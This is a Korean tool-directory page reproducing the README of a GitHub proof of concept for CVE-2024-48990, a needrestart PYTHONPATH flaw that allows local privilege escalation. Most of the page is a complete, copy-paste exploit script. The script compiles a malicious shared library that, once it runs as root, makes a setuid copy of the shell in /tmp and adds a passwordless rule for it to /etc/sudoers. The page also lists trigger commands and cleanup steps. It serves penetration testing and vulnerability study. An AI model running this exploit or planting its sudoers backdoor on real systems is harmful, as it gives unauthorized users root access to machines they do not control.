Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/pentestfunctions/cve-2024-48990-poc-testing
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubpentestfunctions/cve-2024-48990-poc-testing

CVE-2024-48990-PoC-Testing

사용 사례를 위한 POC 테스트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
26121년 전Kitploit 검토 완료

CVE-2024-48990-PoC-Testing 🐍🔓

이 저장소는 needrestart 프로그램의 취약점을 시연하기 위한 개념 증명(PoC) 을 포함하고 있습니다. 이 프로그램은 Python의 경로를 올바르게 설정하지 못하여 잠재적인 권한 상승으로 이어질 수 있습니다. 이 PoC는 이 결함을 악용하여 상승된 권한을 얻을 수 있는 잠재적 경로를 강조합니다.

⚠️ 취약점 개요

CVE-2024-48990 취약점은 needrestart 패키지 내에 존재합니다. 구체적으로, 이 취약점은 Python의 경로를 올바르게 설정하지 않으며, 특정 작업에 의해 트리거될 때 권한 상승에 악용될 수 있습니다.

이 PoC는 악성 공유 라이브러리가 Python을 통해 로드되어 시스템 설정을 조작하고 상승된 권한을 획득하는 시나리오를 시뮬레이션합니다. 테스트 목적으로만 통제되고 안전한 환경에서 사용하십시오.

취약한지 확인하려면 다음을 실행하십시오:

root@kitploit:~
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"

테스트할 취약한 버전을 원한다면 다음을 실행하십시오:

root@kitploit:~
sudo apt install needrestart=3.7-3

⚡ 취약점 트리거 방법

취약점을 트리거하려면 리스너 스크립트를 실행하는 동안 다음을 실행하십시오:

root@kitploit:~
sudo apt remove ntp; sudo apt install ntp

이 명령은 패키지(이 경우 ntp)를 설치하여 needrestart 문제가 트리거되도록 합니다. 그러나 이상적으로는 시스템의 다른 사용자가 업데이트를 실행하거나 sudo apt update와 같이 needrestart를 트리거하는 작업을 수행할 때까지 기다리는 것이 좋습니다.



🔨 재현 단계

PoC를 설정하고 취약점을 트리거하려면 다음 스크립트를 실행하십시오. 전체 스크립트를 그대로 터미널에 복사하여 붙여넣고 기다리거나, 위에서 ntp로 보여준 것처럼 수동으로 트리거할 수 있습니다. 또한 이 스크립트는 시연을 위해 모든 사용자의 sudo 경로에 바이너리를 추가합니다. 실제로는 사용자 자신의 sudo에 모든 경로가 추가되도록 만들 수 있지만, 저는 둘 다 보여주고 싶었습니다:

root@kitploit:~
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib

# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
    if(geteuid() == 0) {  // Only execute if we're running with root privileges
        setuid(0);
        setgid(0);
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
        system(shell);
    }
}
EOF

gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c

# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        __import__("os").system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null

💥 정리 스크립트

테스트 파일을 정리하고 sudoers에서 자신을 제거하려면 상승된 프롬프트에서 다음을 실행할 수 있습니다:

root@kitploit:~
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls

🛠️ 요구 사항

  • Linux 기반 시스템 (Ubuntu/Debian 권장)
  • needrestart 패키지 설치 (또는 트리거를 위해 제거 후 재설치)
  • Python 3.x 설치 (Python 스크립트 실행용)

🚨 경고

이 PoC는 테스트 목적으로만 사용해야 하며 프로덕션 환경에서 사용해서는 안 됩니다. 승인되지 않은 환경에서 이 취약점을 악용하는 것은 불법일 수 있습니다. 보안 테스트를 수행하기 전에 항상 명시적인 허가를 받으십시오.


🔗 리소스

  • GitHub 저장소: CVE-2024-48990-PoC
  • CVE 세부 정보: CVE-2024-48990

즐거운 테스트 되세요! 🧪🚀

도구 다운로드